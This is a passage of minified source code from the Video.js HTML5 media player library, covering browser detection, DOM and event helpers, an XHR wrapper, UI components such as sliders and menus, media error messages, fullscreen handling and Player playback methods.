t.r=function(a,c){var d,e;if(t.Xa(a,c)){d=a.className.split(" ");for(e=d.length-1;0<=e;e--)d[e]===c&&d.splice(e,1);a.className=d.join(" ")}};t.A=t.e("video");t.N=navigator.userAgent;t.md=/iPhone/i.test(t.N);t.ld=/iPad/i.test(t.N);t.nd=/iPod/i.test(t.N);t.kd=t.md||t.ld||t.nd;var aa=t,x;var y=t.N.match(/OS (\d+)_/i);x=y&&y[1]?y[1]:b;aa.Ae=x;t.hd=/Android/i.test(t.N);var ba=t,z;var A=t.N.match(/Android (\d+)(?:\.(\d+))?(?:\.(\d+))*/i),B,C;
A?(B=A[1]&&parseFloat(A[1]),C=A[2]&&parseFloat(A[2]),z=B&&C?parseFloat(A[1]+"."+A[2]):B?B:k):z=k;ba.Xb=z;t.od=t.hd&&/webkit/i.test(t.N)&&2.3>t.Xb;t.jd=/Firefox/i.test(t.N);t.Be=/Chrome/i.test(t.N);t.ic=!!("ontouchstart"in window||window.gd&&document instanceof window.gd);t.fd="backgroundSize"in t.A.style;t.Sc=function(a,c){t.h.X(c,function(c,e){e===k||"undefined"===typeof e||e===l?a.removeAttribute(c):a.setAttribute(c,e===f?"":e)})};
t.Ca=function(a){var c,d,e,g;c={};if(a&&a.attributes&&0<a.attributes.length){d=a.attributes;for(var h=d.length-1;0<=h;h--){e=d[h].name;g=d[h].value;if("boolean"===typeof a[e]||-1!==",autoplay,controls,loop,muted,default,".indexOf(","+e+","))g=g!==k?f:l;c[e]=g}}return c};
t.He=function(a,c){var d="";document.defaultView&&document.defaultView.getComputedStyle?d=document.defaultView.getComputedStyle(a,"").getPropertyValue(c):a.currentStyle&&(d=a["client"+c.substr(0,1).toUpperCase()+c.substr(1)]+"px");return d};t.Jb=function(a,c){c.firstChild?c.insertBefore(a,c.firstChild):c.appendChild(a)};t.Sa={};t.w=function(a){0===a.indexOf("#")&&(a=a.slice(1));return document.getElementById(a)};
t.Ba=function(a,c){c=c||a;var d=Math.floor(a%60),e=Math.floor(a/60%60),g=Math.floor(a/3600),h=Math.floor(c/60%60),j=Math.floor(c/3600);if(isNaN(a)||Infinity===a)g=e=d="-";g=0<g||0<j?g+":":"";return g+(((g||10<=h)&&10>e?"0"+e:e)+":")+(10>d?"0"+d:d)};t.ud=function(){document.body.focus();document.onselectstart=r(l)};t.ve=function(){document.onselectstart=r(f)};t.trim=function(a){return(a+"").replace(/^\s+|\s+$/g,"")};t.round=function(a,c){c||(c=0);return Math.round(a*Math.pow(10,c))/Math.pow(10,c)};
t.zb=function(a,c){return{length:1,start:function(){return a},end:function(){return c}}};t.je=function(a){try{var c=window.localStorage||l;c&&(c.volume=a)}catch(d){22==d.code||1014==d.code?t.log("LocalStorage Full (VideoJS)",d):18==d.code?t.log("LocalStorage not allowed (VideoJS)",d):t.log("LocalStorage Error (VideoJS)",d)}};t.Jd=function(a){a.match(/^https?:\/\//)||(a=t.e("div",{innerHTML:'<a href="'+a+'">x</a>'}).firstChild.href);return a};
t.fe=function(a){var c,d,e,g;g="protocol hostname port pathname search hash host".split(" ");d=t.e("a",{href:a});if(e=""===d.host&&"file:"!==d.protocol)c=t.e("div"),c.innerHTML='<a href="'+a+'"></a>',d=c.firstChild,c.setAttribute("style","display:none; position:absolute;"),document.body.appendChild(c);a={};for(var h=0;h<g.length;h++)a[g[h]]=d[g[h]];e&&document.body.removeChild(c);return a};
function D(a,c){var d,e;d=Array.prototype.slice.call(c);e=m();e=window.console||{log:e,warn:e,error:e};a?d.unshift(a.toUpperCase()+":"):a="log";t.log.history.push(d);d.unshift("VIDEOJS:");if(e[a].apply)e[a].apply(e,d);else e[a](d.join(" "))}t.log=function(){D(k,arguments)};t.log.history=[];t.log.error=function(){D("error",arguments)};t.log.warn=function(){D("warn",arguments)};
t.Hd=function(a){var c,d;a.getBoundingClientRect&&a.parentNode&&(c=a.getBoundingClientRect());if(!c)return{left:0,top:0};a=document.documentElement;d=document.body;return{left:t.round(c.left+(window.pageXOffset||d.scrollLeft)-(a.clientLeft||d.clientLeft||0)),top:t.round(c.top+(window.pageYOffset||d.scrollTop)-(a.clientTop||d.clientTop||0))}};t.mc={};t.mc.forEach=function(a,c,d){if(t.h.isArray(a)&&c instanceof Function)for(var e=0,g=a.length;e<g;++e)c.call(d||t,a[e],e,a);return a};
t.ye=function(a,c){var d,e,g,h,j,p,q;"string"===typeof a&&(a={uri:a});videojs.Z.Ea({method:"GET",timeout:45E3},a);c=c||m();p=function(){window.clearTimeout(j);c(k,e,e.response||e.responseText)};q=function(a){window.clearTimeout(j);if(!a||"string"===typeof a)a=Error(a);c(a,e)};d=window.XMLHttpRequest;"undefined"===typeof d&&(d=function(){try{return new window.ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(a){}try{return new window.ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(c){}try{return new window.ActiveXObject("Msxml2.XMLHTTP")}catch(d){}throw Error("This browser does not support XMLHttpRequest.");
});e=new d;e.uri=a.uri;d=t.fe(a.uri);g=window.location;d.protocol+d.host!==g.protocol+g.host&&window.XDomainRequest&&!("withCredentials"in e)?(e=new window.XDomainRequest,e.onload=p,e.onerror=q,e.onprogress=m(),e.ontimeout=m()):(h="file:"==d.protocol||"file:"==g.protocol,e.onreadystatechange=function(){if(4===e.readyState){if(e.te)return q("timeout");200===e.status||h&&0===e.status?p():q()}},a.timeout&&(j=window.setTimeout(function(){4!==e.readyState&&(e.te=f,e.abort())},a.timeout)));try{e.open(a.method||
"GET",a.uri,f)}catch(w){q(w);return}a.withCredentials&&(e.withCredentials=f);a.responseType&&(e.responseType=a.responseType);try{e.send()}catch(ja){q(ja)}};t.Z={};t.Z.Ea=function(a,c){var d,e,g;a=t.h.copy(a);for(d in c)c.hasOwnProperty(d)&&(e=a[d],g=c[d],a[d]=t.h.Ya(e)&&t.h.Ya(g)?t.Z.Ea(e,g):c[d]);return a};
t.a=t.ua.extend({i:function(a,c,d){this.d=a;this.m=t.h.copy(this.m);c=this.options(c);this.K=c.id||c.el&&c.el.id;this.K||(this.K=(a.id&&a.id()||"no_player")+"_component_"+t.p++);this.Vd=c.name||k;this.b=c.el||this.e();this.O=[];this.Ua={};this.Va={};this.Dc();this.H(d);if(c.Qc!==l){var e,g;this.j().reportUserActivity&&(e=t.bind(this.j(),this.j().reportUserActivity),this.c("touchstart",function(){e();this.clearInterval(g);g=this.setInterval(e,250)}),a=function(){e();this.clearInterval(g)},this.c("touchmove",
e),this.c("touchend",a),this.c("touchcancel",a))}}});s=t.a.prototype;s.dispose=function(){this.l({type:"dispose",bubbles:l});if(this.O)for(var a=this.O.length-1;0<=a;a--)this.O[a].dispose&&this.O[a].dispose();this.Va=this.Ua=this.O=k;this.k();this.b.parentNode&&this.b.parentNode.removeChild(this.b);t.Pc(this.b);this.b=k};s.d=f;s.j=n("d");s.options=function(a){return a===b?this.m:this.m=t.Z.Ea(this.m,a)};s.e=function(a,c){return t.e(a,c)};
s.t=function(a){var c=this.d.language(),d=this.d.languages();return d&&d[c]&&d[c][a]?d[c][a]:a};s.w=n("b");s.ma=function(){return this.v||this.b};s.id=n("K");s.name=n("Vd");s.children=n("O");s.Kd=function(a){return this.Ua[a]};s.na=function(a){return this.Va[a]};
s.U=function(a,c){var d,e;"string"===typeof a?(e=a,c=c||{},d=c.componentClass||t.ba(e),c.name=e,d=new window.videojs[d](this.d||this,c)):d=a;this.O.push(d);"function"===typeof d.id&&(this.Ua[d.id()]=d);(e=e||d.name&&d.name())&&(this.Va[e]=d);"function"===typeof d.el&&d.el()&&this.ma().appendChild(d.el());return d};
s.removeChild=function(a){"string"===typeof a&&(a=this.na(a));if(a&&this.O){for(var c=l,d=this.O.length-1;0<=d;d--)if(this.O[d]===a){c=f;this.O.splice(d,1);break}c&&(this.Ua[a.id]=k,this.Va[a.name]=k,(c=a.w())&&c.parentNode===this.ma()&&this.ma().removeChild(a.w()))}};
s.Dc=function(){var a,c,d,e,g,h;a=this;c=a.options();if(d=c.children)if(h=function(d,e){c[d]!==b&&(e=c[d]);e!==l&&(a[d]=a.U(d,e))},t.h.isArray(d))for(var j=0;j<d.length;j++)e=d[j],"string"==typeof e?(g=e,e={}):g=e.name,h(g,e);else t.h.X(d,h)};s.S=r("");
s.c=function(a,c,d){var e,g,h;"string"===typeof a||t.h.isArray(a)?t.c(this.b,a,t.bind(this,c)):(e=t.bind(this,d),h=this,g=function(){h.k(a,c,e)},g.p=e.p,this.c("dispose",g),d=function(){h.k("dispose",g)},d.p=e.p,a.nodeName?(t.c(a,c,e),t.c(a,"dispose",d)):"function"===typeof a.c&&(a.c(c,e),a.c("dispose",d)));return this};
s.k=function(a,c,d){!a||"string"===typeof a||t.h.isArray(a)?t.k(this.b,a,c):(d=t.bind(this,d),this.k("dispose",d),a.nodeName?(t.k(a,c,d),t.k(a,"dispose",d)):(a.k(c,d),a.k("dispose",d)));return this};s.Q=function(a,c,d){var e,g,h;"string"===typeof a||t.h.isArray(a)?t.Q(this.b,a,t.bind(this,c)):(e=t.bind(this,d),g=this,h=function(){g.k(a,c,h);e.apply(this,arguments)},h.p=e.p,this.c(a,c,h));return this};s.l=function(a){t.l(this.b,a);return this};
s.H=function(a){a&&(this.oa?a.call(this):(this.eb===b&&(this.eb=[]),this.eb.push(a)));return this};s.Ka=function(){this.oa=f;var a=this.eb;if(a&&0<a.length){for(var c=0,d=a.length;c<d;c++)a[c].call(this);this.eb=[];this.l("ready")}};s.Xa=function(a){return t.Xa(this.b,a)};s.n=function(a){t.n(this.b,a);return this};s.r=function(a){t.r(this.b,a);return this};s.show=function(){this.b.style.display="block";return this};s.Y=function(){this.b.style.display="none";return this};
function E(a){a.r("vjs-lock-showing")}s.disable=function(){this.Y();this.show=m()};s.width=function(a,c){return F(this,"width",a,c)};s.height=function(a,c){return F(this,"height",a,c)};s.Dd=function(a,c){return this.width(a,f).height(c)};
function F(a,c,d,e){if(d!==b){if(d===k||t.Pd(d))d=0;a.b.style[c]=-1!==(""+d).indexOf("%")||-1!==(""+d).indexOf("px")?d:"auto"===d?"":d+"px";e||a.l("resize");return a}if(!a.b)return 0;d=a.b.style[c];e=d.indexOf("px");return-1!==e?parseInt(d.slice(0,e),10):parseInt(a.b["offset"+t.ba(c)],10)}
function G(a){var c,d,e,g,h,j,p,q;c=0;d=k;a.c("touchstart",function(a){1===a.touches.length&&(d=a.touches[0],c=(new Date).getTime(),g=f)});a.c("touchmove",function(a){1<a.touches.length?g=l:d&&(j=a.touches[0].pageX-d.pageX,p=a.touches[0].pageY-d.pageY,q=Math.sqrt(j*j+p*p),22<q&&(g=l))});h=function(){g=l};a.c("touchleave",h);a.c("touchcancel",h);a.c("touchend",function(a){d=k;g===f&&(e=(new Date).getTime()-c,250>e&&(a.preventDefault(),this.l("tap")))})}
s.setTimeout=function(a,c){function d(){this.clearTimeout(e)}a=t.bind(this,a);var e=setTimeout(a,c);d.p="vjs-timeout-"+e;this.c("dispose",d);return e};s.clearTimeout=function(a){function c(){}clearTimeout(a);c.p="vjs-timeout-"+a;this.k("dispose",c);return a};s.setInterval=function(a,c){function d(){this.clearInterval(e)}a=t.bind(this,a);var e=setInterval(a,c);d.p="vjs-interval-"+e;this.c("dispose",d);return e};
s.clearInterval=function(a){function c(){}clearInterval(a);c.p="vjs-interval-"+a;this.k("dispose",c);return a};t.u=t.a.extend({i:function(a,c){t.a.call(this,a,c);G(this);this.c("tap",this.s);this.c("click",this.s);this.c("focus",this.bb);this.c("blur",this.ab)}});s=t.u.prototype;
s.e=function(a,c){var d;c=t.h.z({className:this.S(),role:"button","aria-live":"polite",tabIndex:0},c);d=t.a.prototype.e.call(this,a,c);c.innerHTML||(this.v=t.e("div",{className:"vjs-control-content"}),this.xb=t.e("span",{className:"vjs-control-text",innerHTML:this.t(this.la)||"Need Text"}),this.v.appendChild(this.xb),d.appendChild(this.v));return d};s.S=function(){return"vjs-control "+t.a.prototype.S.call(this)};s.s=m();s.bb=function(){t.c(document,"keydown",t.bind(this,this.ea))};
s.ea=function(a){if(32==a.which||13==a.which)a.preventDefault(),this.s()};s.ab=function(){t.k(document,"keydown",t.bind(this,this.ea))};t.R=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.td=this.na(this.m.barName);this.handle=this.na(this.m.handleName);this.c("mousedown",this.cb);this.c("touchstart",this.cb);this.c("focus",this.bb);this.c("blur",this.ab);this.c("click",this.s);this.c(a,"controlsvisible",this.update);this.c(a,this.Lc,this.update)}});s=t.R.prototype;
s.e=function(a,c){c=c||{};c.className+=" vjs-slider";c=t.h.z({role:"slider","aria-valuenow":0,"aria-valuemin":0,"aria-valuemax":100,tabIndex:0},c);return t.a.prototype.e.call(this,a,c)};s.cb=function(a){a.preventDefault();t.ud();this.n("vjs-sliding");this.c(document,"mousemove",this.fa);this.c(document,"mouseup",this.qa);this.c(document,"touchmove",this.fa);this.c(document,"touchend",this.qa);this.fa(a)};s.fa=m();
s.qa=function(){t.ve();this.r("vjs-sliding");this.k(document,"mousemove",this.fa);this.k(document,"mouseup",this.qa);this.k(document,"touchmove",this.fa);this.k(document,"touchend",this.qa);this.update()};s.update=function(){if(this.b){var a,c=this.Hb(),d=this.handle,e=this.td;isNaN(c)&&(c=0);a=c;if(d){a=this.b.offsetWidth;var g=d.w().offsetWidth;a=g?g/a:0;c*=1-a;a=c+a/2;d.w().style.left=t.round(100*c,2)+"%"}e&&(e.w().style.width=t.round(100*a,2)+"%")}};
function H(a,c){var d,e,g,h;d=a.b;e=t.Hd(d);h=g=d.offsetWidth;d=a.handle;if(a.options().vertical)return h=e.top,e=c.changedTouches?c.changedTouches[0].pageY:c.pageY,d&&(d=d.w().offsetHeight,h+=d/2,g-=d),Math.max(0,Math.min(1,(h-e+g)/g));g=e.left;e=c.changedTouches?c.changedTouches[0].pageX:c.pageX;d&&(d=d.w().offsetWidth,g+=d/2,h-=d);return Math.max(0,Math.min(1,(e-g)/h))}s.bb=function(){this.c(document,"keydown",this.ea)};
s.ea=function(a){if(37==a.which||40==a.which)a.preventDefault(),this.Xc();else if(38==a.which||39==a.which)a.preventDefault(),this.Yc()};s.ab=function(){this.k(document,"keydown",this.ea)};s.s=function(a){a.stopImmediatePropagation();a.preventDefault()};t.$=t.a.extend();t.$.prototype.defaultValue=0;t.$.prototype.e=function(a,c){c=c||{};c.className+=" vjs-slider-handle";c=t.h.z({innerHTML:'<span class="vjs-control-text">'+this.defaultValue+"</span>"},c);return t.a.prototype.e.call(this,"div",c)};
t.ja=t.a.extend();function ca(a,c){a.U(c);c.c("click",t.bind(a,function(){E(this)}))}t.ja.prototype.e=function(){var a=this.options().rc||"ul";this.v=t.e(a,{className:"vjs-menu-content"});a=t.a.prototype.e.call(this,"div",{append:this.v,className:"vjs-menu"});a.appendChild(this.v);t.c(a,"click",function(a){a.preventDefault();a.stopImmediatePropagation()});return a};t.J=t.u.extend({i:function(a,c){t.u.call(this,a,c);this.selected(c.selected)}});
t.J.prototype.e=function(a,c){return t.u.prototype.e.call(this,"li",t.h.z({className:"vjs-menu-item",innerHTML:this.t(this.m.label)},c))};t.J.prototype.s=function(){this.selected(f)};t.J.prototype.selected=function(a){a?(this.n("vjs-selected"),this.b.setAttribute("aria-selected",f)):(this.r("vjs-selected"),this.b.setAttribute("aria-selected",l))};
t.L=t.u.extend({i:function(a,c){t.u.call(this,a,c);this.Da=this.za();this.U(this.Da);this.P&&0===this.P.length&&this.Y();this.c("keydown",this.ea);this.b.setAttribute("aria-haspopup",f);this.b.setAttribute("role","button")}});s=t.L.prototype;s.wa=l;s.za=function(){var a=new t.ja(this.d);this.options().title&&a.ma().appendChild(t.e("li",{className:"vjs-menu-title",innerHTML:t.ba(this.options().title),re:-1}));if(this.P=this.createItems())for(var c=0;c<this.P.length;c++)ca(a,this.P[c]);return a};
s.ya=m();s.S=function(){return this.className+" vjs-menu-button "+t.u.prototype.S.call(this)};s.bb=m();s.ab=m();s.s=function(){this.Q("mouseout",t.bind(this,function(){E(this.Da);this.b.blur()}));this.wa?I(this):J(this)};s.ea=function(a){a.preventDefault();32==a.which||13==a.which?this.wa?I(this):J(this):27==a.which&&this.wa&&I(this)};function J(a){a.wa=f;a.Da.n("vjs-lock-showing");a.b.setAttribute("aria-pressed",f);a.P&&0<a.P.length&&a.P[0].w().focus()}
function I(a){a.wa=l;E(a.Da);a.b.setAttribute("aria-pressed",l)}t.D=function(a){"number"===typeof a?this.code=a:"string"===typeof a?this.message=a:"object"===typeof a&&t.h.z(this,a);this.message||(this.message=t.D.Bd[this.code]||"")};t.D.prototype.code=0;t.D.prototype.message="";t.D.prototype.status=k;t.D.Wa="MEDIA_ERR_CUSTOM MEDIA_ERR_ABORTED MEDIA_ERR_NETWORK MEDIA_ERR_DECODE MEDIA_ERR_SRC_NOT_SUPPORTED MEDIA_ERR_ENCRYPTED".split(" ");
t.D.Bd={1:"You aborted the video playback",2:"A network error caused the video download to fail part-way.",3:"The video playback was aborted due to a corruption problem or because the video used features your browser did not support.",4:"The video could not be loaded, either because the server or network failed or because the format is not supported.",5:"The video is encrypted and we do not have the keys to decrypt it."};for(var K=0;K<t.D.Wa.length;K++)t.D[t.D.Wa[K]]=K,t.D.prototype[t.D.Wa[K]]=K;
var L,M,N,O;
L=["requestFullscreen exitFullscreen fullscreenElement fullscreenEnabled fullscreenchange fullscreenerror".split(" "),"webkitRequestFullscreen webkitExitFullscreen webkitFullscreenElement webkitFullscreenEnabled webkitfullscreenchange webkitfullscreenerror".split(" "),"webkitRequestFullScreen webkitCancelFullScreen webkitCurrentFullScreenElement webkitCancelFullScreen webkitfullscreenchange webkitfullscreenerror".split(" "),"mozRequestFullScreen mozCancelFullScreen mozFullScreenElement mozFullScreenEnabled mozfullscreenchange mozfullscreenerror".split(" "),"msRequestFullscreen msExitFullscreen msFullscreenElement msFullscreenEnabled MSFullscreenChange MSFullscreenError".split(" ")];
M=L[0];for(O=0;O<L.length;O++)if(L[O][1]in document){N=L[O];break}if(N){t.Sa.Gb={};for(O=0;O<N.length;O++)t.Sa.Gb[M[O]]=N[O]}
t.Player=t.a.extend({i:function(a,c,d){this.I=a;a.id=a.id||"vjs_video_"+t.p++;this.se=a&&t.Ca(a);c=t.h.z(da(a),c);this.Za=c.language||t.options.language;this.Td=c.languages||t.options.languages;this.F={};this.Mc=c.poster||"";this.yb=!!c.controls;a.controls=l;c.Qc=l;P(this,"audio"===this.I.nodeName.toLowerCase());t.a.call(this,this,c,d);this.controls()?this.n("vjs-controls-enabled"):this.n("vjs-controls-disabled");P(this)&&this.n("vjs-audio");t.Fa[this.K]=this;c.plugins&&t.h.X(c.plugins,function(a,
c){this[a](c)},this);var e,g,h,j,p;e=t.bind(this,this.reportUserActivity);this.c("mousedown",function(){e();this.clearInterval(g);g=this.setInterval(e,250)});this.c("mousemove",function(a){if(a.screenX!=j||a.screenY!=p)j=a.screenX,p=a.screenY,e()});this.c("mouseup",function(){e();this.clearInterval(g)});this.c("keydown",e);this.c("keyup",e);this.setInterval(function(){if(this.ta){this.ta=l;this.userActive(f);this.clearTimeout(h);var a=this.options().inactivityTimeout;0<a&&(h=this.setTimeout(function(){this.ta||
this.userActive(l)},a))}},250)}});s=t.Player.prototype;s.language=function(a){if(a===b)return this.Za;this.Za=a;return this};s.languages=n("Td");s.m=t.options;s.dispose=function(){this.l("dispose");this.k("dispose");t.Fa[this.K]=k;this.I&&this.I.player&&(this.I.player=k);this.b&&this.b.player&&(this.b.player=k);this.o&&this.o.dispose();t.a.prototype.dispose.call(this)};
function da(a){var c,d,e={sources:[],tracks:[]};c=t.Ca(a);d=c["data-setup"];d!==k&&t.h.z(c,t.JSON.parse(d||"{}"));t.h.z(e,c);if(a.hasChildNodes()){var g,h;a=a.childNodes;g=0;for(h=a.length;g<h;g++)c=a[g],d=c.nodeName.toLowerCase(),"source"===d?e.sources.push(t.Ca(c)):"track"===d&&e.tracks.push(t.Ca(c))}return e}
s.e=function(){var a=this.b=t.a.prototype.e.call(this,"div"),c=this.I,d;c.removeAttribute("width");c.removeAttribute("height");if(c.hasChildNodes()){var e,g,h,j,p;e=c.childNodes;g=e.length;for(p=[];g--;)h=e[g],j=h.nodeName.toLowerCase(),"track"===j&&p.push(h);for(e=0;e<p.length;e++)c.removeChild(p[e])}d=t.Ca(c);t.h.X(d,function(c){"class"==c?a.className=d[c]:a.setAttribute(c,d[c])});c.id+="_html5_api";c.className="vjs-tech";c.player=a.player=this;this.n("vjs-paused");this.width(this.m.width,f);this.height(this.m.height,
f);c.Md=c.networkState;c.parentNode&&c.parentNode.insertBefore(a,c);t.Jb(c,a);this.b=a;this.c("loadstart",this.Zd);this.c("waiting",this.ee);this.c(["canplay","canplaythrough","playing","ended"],this.de);this.c("seeking",this.be);this.c("seeked",this.ae);this.c("ended",this.Wd);this.c("play",this.Pb);this.c("firstplay",this.Xd);this.c("pause",this.Ob);this.c("progress",this.$d);this.c("durationchange",this.Jc);this.c("fullscreenchange",this.Yd);return a};
function Q(a,c,d){a.o&&(a.oa=l,a.o.dispose(),a.o=l);"Html5"!==c&&a.I&&(t.g.Bb(a.I),a.I=k);a.Ia=c;a.oa=l;var e=t.h.z({source:d,parentEl:a.b},a.m[c.toLowerCase()]);d&&(a.uc=d.type,d.src==a.F.src&&0<a.F.currentTime&&(e.startTime=a.F.currentTime),a.F.src=d.src);a.o=new window.videojs[c](a,e);a.o.H(function(){this.d.Ka()})}s.Zd=function(){this.error(k);this.paused()?(R(this,l),this.Q("play",function(){R(this,f)})):this.l("firstplay")};s.Cc=l;
function R(a,c){c!==b&&a.Cc!==c&&((a.Cc=c)?(a.n("vjs-has-started"),a.l("firstplay")):a.r("vjs-has-started"))}s.Pb=function(){this.r("vjs-paused");this.n("vjs-playing")};s.ee=function(){this.n("vjs-waiting")};s.de=function(){this.r("vjs-waiting")};s.be=function(){this.n("vjs-seeking")};s.ae=function(){this.r("vjs-seeking")};s.Xd=function(){this.m.starttime&&this.currentTime(this.m.starttime);this.n("vjs-has-started")};s.Ob=function(){this.r("vjs-playing");this.n("vjs-paused")};
s.$d=function(){1==this.bufferedPercent()&&this.l("loadedalldata")};s.Wd=function(){this.m.loop?(this.currentTime(0),this.play()):this.paused()||this.pause()};s.Jc=function(){var a=S(this,"duration");a&&(0>a&&(a=Infinity),this.duration(a),Infinity===a?this.n("vjs-live"):this.r("vjs-live"))};s.Yd=function(){this.isFullscreen()?this.n("vjs-fullscreen"):this.r("vjs-fullscreen")};function T(a,c,d){if(a.o&&!a.o.oa)a.o.H(function(){this[c](d)});else try{a.o[c](d)}catch(e){throw t.log(e),e;}}
function S(a,c){if(a.o&&a.o.oa)try{return a.o[c]()}catch(d){throw a.o[c]===b?t.log("Video.js: "+c+" method not defined for "+a.Ia+" playback technology.",d):"TypeError"==d.name?(t.log("Video.js: "+c+" unavailable on "+a.Ia+" playback technology element.",d),a.o.oa=l):t.log(d),d;}}s.play=function(){T(this,"play");return this};s.pause=function(){T(this,"pause");return this};s.paused=function(){return S(this,"paused")===l?l:f};
s.currentTime=function(a){return a!==b?(T(this,"setCurrentTime",a),this):this.F.currentTime=S(this,"currentTime")||0};s.duration=function(a){if(a!==b)return this.F.duration=parseFloat(a),this;this.F.duration===b&&this.Jc();return this.F.duration||0};s.remainingTime=function(){return this.duration()-this.currentTime()};s.buffered=function(){var a=S(this,"buffered");if(!a||!a.length)a=t.zb(0,0);return a};
s.bufferedPercent=function(){var a=this.duration(),c=this.buffered(),d=0,e,g;if(!a)return 0;for(var h=0;h<c.length;h++)e=c.start(h),g=c.end(h),g>a&&(g=a),d+=g-e;return d/a};s.volume=function(a){if(a!==b)return a=Math.max(0,Math.min(1,parseFloat(a))),this.F.volume=a,T(this,"setVolume",a),t.je(a),this;a=parseFloat(S(this,"volume"));return isNaN(a)?1:a};s.muted=function(a){return a!==b?(T(this,"setMuted",a),this):S(this,"muted")||l};s.Ha=function(){return S(this,"supportsFullScreen")||l};s.Fc=l;
s.isFullscreen=function(a){return a!==b?(this.Fc=!!a,this):this.Fc};s.isFullScreen=function(a){t.log.warn('player.isFullScreen() has been deprecated, use player.isFullscreen() with a lowercase "s")');return this.isFullscreen(a)};
s.requestFullscreen=function(){var a=t.Sa.Gb;this.isFullscreen(f);a?(t.c(document,a.fullscreenchange,t.bind(this,function(c){this.isFullscreen(document[a.fullscreenElement]);this.isFullscreen()===l&&t.k(document,a.fullscreenchange,arguments.callee);this.l("fullscreenchange")})),this.b[a.requestFullscreen]()):this.o.Ha()?T(this,"enterFullScreen"):(this.yc(),this.l("fullscreenchange"));return this};
s.requestFullScreen=function(){t.log.warn('player.requestFullScreen() has been deprecated, use player.requestFullscreen() with a lowercase "s")');return this.requestFullscreen()};s.exitFullscreen=function(){var a=t.Sa.Gb;this.isFullscreen(l);if(a)document[a.exitFullscreen]();else this.o.Ha()?T(this,"exitFullScreen"):(this.Db(),this.l("fullscreenchange"));return this};s.cancelFullScreen=function(){t.log.warn("player.cancelFullScreen() has been deprecated, use player.exitFullscreen()");return this.exitFullscreen()};
s.yc=function(){this.Od=f;this.Ed=document.documentElement.style.overflow;t.c(document,"keydown",t.bind(this,this.Ac));document.documentElement.style.overflow="hidden";t.n(document.body,"vjs-full-window");this.l("enterFullWindow")};s.Ac=function(a){27===a.keyCode&&(this.isFullscreen()===f?this.exitFullscreen():this.Db())};s.Db=function(){this.Od=l;t.k(document,"keydown",this.Ac);document.documentElement.style.overflow=this.Ed;t.r(document.body,"vjs-full-window");this.l("exitFullWindow")};
s.selectSource=function(a){for(var c=0,d=this.m.techOrder;c<d.length;c++){var e=t.ba(d[c]),g=window.videojs[e];if(g){if(g.isSupported())for(var h=0,j=a;h<j.length;h++){var p=j[h];if(g.canPlaySource(p))return{source:p,o:e}}}else t.log.error('The "'+e+'" tech is undefined. Skipped browser support check for that tech.')}return l};
s.src=function(a){if(a===b)return S(this,"src");t.h.isArray(a)?U(this,a):"string"===typeof a?this.src({src:a}):a instanceof Object&&(a.type&&!window.videojs[this.Ia].canPlaySource(a)?U(this,[a]):(this.F.src=a.src,this.uc=a.type||"",this.H(function(){window.videojs[this.Ia].prototype.hasOwnProperty("setSource")?T(this,"setSource",a):T(this,"src",a.src);"auto"==this.m.preload&&this.load();this.m.autoplay&&this.play()})));return this};
function U(a,c){var d=a.selectSource(c);d?d.o===a.Ia?a.src(d.source):Q(a,d.o,d.source):(a.setTimeout(function(){this.error({code:4,message:this.t(this.options().notSupportedMessage)})},0),a.Ka())}s.load=function(){T(this,"load");return this};s.currentSrc=function(){return S(this,"currentSrc")||this.F.src||""};s.zd=function(){return this.uc||""};s.Ga=function(a){return a!==b?(T(this,"setPreload",a),this.m.preload=a,this):S(this,"preload")};
s.autoplay=function(a){return a!==b?(T(this,"setAutoplay",a),this.m.autoplay=a,this):S(this,"autoplay")};s.loop=function(a){return a!==b?(T(this,"setLoop",a),this.m.loop=a,this):S(this,"loop")};s.poster=function(a){if(a===b)return this.Mc;a||(a="");this.Mc=a;T(this,"setPoster",a);this.l("posterchange");return this};
s.controls=function(a){return a!==b?(a=!!a,this.yb!==a&&((this.yb=a)?(this.r("vjs-controls-disabled"),this.n("vjs-controls-enabled"),this.l("controlsenabled")):(this.r("vjs-controls-enabled"),this.n("vjs-controls-disabled"),this.l("controlsdisabled"))),this):this.yb};t.Player.prototype.Wb;s=t.Player.prototype;
s.usingNativeControls=function(a){return a!==b?(a=!!a,this.Wb!==a&&((this.Wb=a)?(this.n("vjs-using-native-controls"),this.l("usingnativecontrols")):(this.r("vjs-using-native-controls"),this.l("usingcustomcontrols"))),this):this.Wb};s.da=k;s.error=function(a){if(a===b)return this.da;if(a===k)return this.da=a,this.r("vjs-error"),this;this.da=a instanceof t.D?a:new t.D(a);this.l("error");this.n("vjs-error");t.log.error("(CODE:"+this.da.code+" "+t.D.Wa[this.da.code]+")",this.da.message,this.da);return this};
s.ended=function(){return S(this,"ended")};s.seeking=function(){return S(this,"seeking")};s.ta=f;s.reportUserActivity=function(){this.ta=f};s.Vb=f;s.userActive=function(a){return a!==b?(a=!!a,a!==this.Vb&&((this.Vb=a)?(this.ta=f,this.r("vjs-user-inactive"),this.n("vjs-user-active"),this.l("useractive")):(this.ta=l,this.o&&this.o.Q("mousemove",function(a){a.stopPropagation();a.preventDefault()}),this.r("vjs-user-active"),this.n("vjs-user-inactive"),this.l("userinactive"))),this):this.Vb};
s.playbackRate=function(a){return a!==b?(T(this,"setPlaybackRate",a),this):this.o&&this.o.featuresPlaybackRate?S(this,"playbackRate"):1};s.Ec=l;function P(a,c){return c!==b?(a.Ec=!!c,a):a.Ec}t.Na=t.a.extend();t.Na.prototype.m={Ie:"play",children:{playToggle:{},currentTimeDisplay:{},timeDivider:{},durationDisplay:{},remainingTimeDisplay:{},liveDisplay:{},progressControl:{},fullscreenToggle:{},volumeControl:{},muteToggle:{},playbackRateMenuButton:{}}};t.Na.prototype.e=function(){return t.e("div",{className:"vjs-control-bar"})};
t.ac=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});t.ac.prototype.e=function(){var a=t.a.prototype.e.call(this,"div",{className:"vjs-live-controls vjs-control"});this.v=t.e("div",{className:"vjs-live-display",innerHTML:'<span class="vjs-control-text">'+this.t("Stream Type")+"</span>"+this.t("LIVE"),"aria-live":"off"});a.appendChild(this.v);return a};t.dc=t.u.extend({i:function(a,c){t.u.call(this,a,c);this.c(a,"play",this.Pb);this.c(a,"pause",this.Ob)}});s=t.dc.prototype;s.la="Play";
